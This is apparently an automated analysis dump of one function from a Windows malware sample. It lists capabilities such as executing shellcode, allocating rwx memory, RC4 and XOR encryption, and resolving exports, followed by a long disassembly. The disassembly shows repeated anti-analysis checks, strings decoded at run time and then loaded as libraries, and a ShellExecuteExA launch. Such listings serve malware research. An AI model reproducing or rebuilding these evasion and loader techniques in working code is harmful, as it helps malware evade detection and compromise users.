Function at 0x140028338
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.140096e90
sub rsp, rax
mov rax, qword [0x1400ee700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[0x1b]
mov r14d, 0xcf7cf033
mov r12d, 0x14587031
cmp rax, r12
jne 0x14002842b
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002840b
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002840b
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002842b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov ecx, r12d
call fcn.140006324
mov rax, qword gs:[0x1b]
movabs r13, 0xe5a3648ce2378ab3
cmp rax, r12
jne 0x1400284e7
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400284c7
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400284c7
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400284e7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
mov esi, 0x93ac035
mov ebx, 0x12c30fd1
cmp rax, r12
jne 0x1400285a8
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, esi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028588
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028588
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400285a8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov ecx, r12d
call fcn.140027878
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002865a
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002863a
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002863a
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002865a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x140028704
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400286e4
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400286e4
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028704
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
lea rdx, [0x1400e05b0]
lea rcx, [rbp + 0x998]
call fcn.140005ce8
mov rdx, rax
mov ecx, r12d
call fcn.140008828
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x1400287cc
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400287ac
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400287ac
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400287cc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x140028876
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028856
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028856
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028876
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov dword [rbp + 0x90], 0xe294a224
mov dword [rbp + 0x94], 0x7752d4c1
mov word [rbp + 0x98], pe_nt_image_headers64
xor r15d, r15d
mov edi, r15d
mov r13d, 0x9610712c
mov qword [rsp + 0x20], r13
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x90]
lea rcx, [rbp + 0x90]
call fcn.1400379bc
xor al, dil
mov byte [rbp + rdi + 0x90], al
inc rdi
cmp rdi, 9
jb 0x14002889f
mov byte [rbp + 0x99], r15b
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x1b]
cmp rax, r12
movabs r13, 0xe5a3648ce2378ab3
jne 0x14002899b
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002897b
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002897b
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002899b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x140028a54
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028a34
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028a34
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028a54
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov dword [rbp + 0x1f0], 0xc48d8974
mov dword [rbp + 0x1f4], 0x71bfb809
mov dword [rbp + 0x1f8], 0x5801ca0f
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r15
mov r14d, 0x9610712c
mov qword [rsp + 0x20], r14
mov r9d, recv
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.14003765c
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
inc rdi
cmp rdi, 0xc
jb 0x140028a83
mov byte [rbp + 0x1fc], r15b
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x1b]
cmp rax, r12
mov r14d, 0xcf7cf033
jne 0x140028b7b
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028b5b
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028b5b
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028b7b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.140027b04
test eax, eax
jne 0x140028e1d
mov edi, r15d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.1400c06f0
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140028c93
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xed0]
call fcn.1400c06f0
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r15
mov dword [rbp - 0x70], 0xca979001
mov word [rbp - 0x6c], 1
mov esi, 0x9610712c
mov qword [rsp + 0x20], rsi
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.140037950
xor al, dil
mov byte [rbp + rdi - 0x70], al
inc rdi
cmp rdi, 5
jb 0x140028c03
mov byte [rbp - 0x6b], r15b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r15b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r15
mov dword [rbp + 0xef0], 1
mov qword [rbp + 0xef8], r15
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x14003730c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x140028c98
mov esi, 0x9610712c
mov word [rsp + 0x78], 0x41
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0x41
lea rcx, [rsp + 0x78]
call fcn.140037810
mov byte [rsp + 0x78], al
mov byte [rsp + 0x79], r15b
mov edx, edi
lea rcx, [rbp + 0x9b8]
call fcn.140027984
mov rbx, rax
movdqa xmm0, xmmword [0x1400e3b70]
movdqu xmmword [rbp + 0xbf8], xmm0
movdqa xmm1, xmmword [0x1400e3a70]
movdqu xmmword [rbp + 0xc08], xmm1
mov dword [rbp + 0xc18], 0x23112266
mov dword [rbp + 0xc1c], 0xf3c0d53a
mov dword [rbp + 0xc20], 0x91541b4c
mov word [rbp + 0xc24], 0xe1
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbf8]
lea rcx, [rbp + 0xbf8]
call fcn.1400378e4
xor al, dil
mov byte [rbp + rdi + 0xbf8], al
inc rdi
cmp rdi, 0x2d
jb 0x140028d1d
mov byte [rbp + 0xc25], r15b
mov r8, rbx
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x9d8]
call fcn.140038934
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.140038af4
lea rcx, [rbp + 0x9d8]
call fcn.14003844c
lea rcx, [rbp + 0x9b8]
call fcn.14003844c
movdqa xmm0, xmmword [0x1400e3c80]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x2b8], __WSAFDIsSet
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2a8]
lea rcx, [rbp + 0x2a8]
call fcn.14003743c
xor al, dil
mov byte [rbp + rdi + 0x2a8], al
inc rdi
cmp rdi, 0x11
jb 0x140028db6
mov byte [rbp + 0x2b9], r15b
lea rcx, [rbp + 0x11a8]
call fcn.1400380a0
xor r9d, r9d
lea r8, [rbp + 0x2a8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x140028ed6
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028eb6
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028eb6
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028ed6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x140028f86
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028f66
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028f66
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028f86
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002903f
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002901f
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002901f
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002903f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x1400290e9
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400290c9
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400290c9
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400290e9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x140029193
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029173
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029173
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029193
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
xor ecx, ecx
call fcn.14009e964
mov rbx, rax
mov word [rsp + 0x7c], reloc.WLDAP32.dll_Ordinal_26
mov r14d, 0x9610712c
mov qword [rsp + 0x20], r14
mov r9d, 1
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_26
lea rcx, [rsp + 0x7c]
call fcn.140037810
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], r15b
mov dword [rbp - 0x60], 0xab64d7f6
mov word [rbp - 0x5c], 0xfce0
xor eax, eax
mov byte [rbp - 0x5a], al
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.1400376cc
xor al, dil
mov byte [rbp + rdi - 0x60], al
inc rdi
cmp rdi, 6
jb 0x1400291e2
mov byte [rbp - 0x5a], r15b
mov r9, rbx
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe50]
call fcn.1400a1e44
mov rax, qword gs:[0x1b]
cmp rax, r12
mov r14d, 0xcf7cf033
jne 0x1400292ea
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, 0x12c30fd1
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400292ca
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400292ca
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400292ea
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x140029394
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029374
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029374
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029394
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov ecx, 2
call fcn.14009e964
mov rbx, rax
mov word [rbp - 0x80], Ordinal_35
mov r14d, 0x9610712c
mov qword [rsp + 0x20], r14
mov r9d, 1
xor r8d, r8d
mov dl, Ordinal_32
lea rcx, [rbp - 0x80]
call fcn.140037810
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r15b
mov dword [rbp - 0x38], 0x72261b8c
mov dword [rbp - 0x34], 0x97448b
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x38]
lea rcx, [rbp - 0x38]
call fcn.140037878
xor al, dil
mov byte [rbp + rdi - 0x38], al
inc rdi
cmp rdi, 7
jb 0x1400293de
mov byte [rbp - 0x31], r15b
mov r9, rbx
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe50]
call fcn.1400a1e44
mov rax, qword gs:[0x1b]
cmp rax, r12
mov r14d, 0xcf7cf033
jne 0x1400294e5
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, 0x12c30fd1
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400294c5
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400294c5
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400294e5
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002958f
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002956f
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002956f
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002958f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov ecx, 1
call fcn.14009e964
mov rbx, rax
mov word [rbp - 0x7c], Ordinal_35
mov r13d, 0x9610712c
mov qword [rsp + 0x20], r13
mov r9d, 1
xor r8d, r8d
mov dl, Ordinal_32
lea rcx, [rbp - 0x7c]
call fcn.140037810
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r15b
mov dword [rbp - 0x30], 0x72261b8c
mov dword [rbp - 0x2c], 0x97448b
mov rdi, r15
mov qword [rsp + 0x20], r13
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.140037878
xor al, dil
mov byte [rbp + rdi - 0x30], al
inc rdi
cmp rdi, 7
jb 0x1400295d9
mov byte [rbp - 0x29], r15b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe50]
call fcn.1400a1e44
mov rax, qword gs:[0x1b]
cmp rax, r12
movabs r13, 0xe5a3648ce2378ab3
jne 0x1400296d3
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400296b3
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400296b3
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400296d3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002977d
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002975d
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002975d
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002977d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
movdqa xmm0, xmmword [0x1400e3ae0]
movdqu xmmword [rbp + 0xd18], xmm0
movdqa xmm1, xmmword [0x1400e3bd0]
movdqu xmmword [rbp + 0xd28], xmm1
movdqa xmm0, xmmword [0x1400e3b80]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0xb26f0a57
mov dword [rbp + 0xd4c], 0x6a7d2a6f
mov dword [rbp + 0xd50], 0xa76f0d4b
mov word [rbp + 0xd54], 0x6cc2
xor eax, eax
mov byte [rbp + 0xd56], al
mov rdi, r15
mov r14d, 0x9610712c
mov qword [rsp + 0x20], r14
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd18]
lea rcx, [rbp + 0xd18]
call fcn.1400377a4
xor al, dil
mov byte [rbp + rdi + 0xd18], al
inc rdi
cmp rdi, 0x3e
jb 0x1400297e5
mov byte [rbp + 0xd56], r15b
lea rcx, [rbp + 0xd18]
call fcn.140005b8c
mov rax, qword gs:[0x1b]
cmp rax, r12
mov r14d, 0xcf7cf033
mov ebx, 0x12c30fd1
jne 0x1400298ef
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400298cf
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400298cf
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400298ef
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x140029999
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029979
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
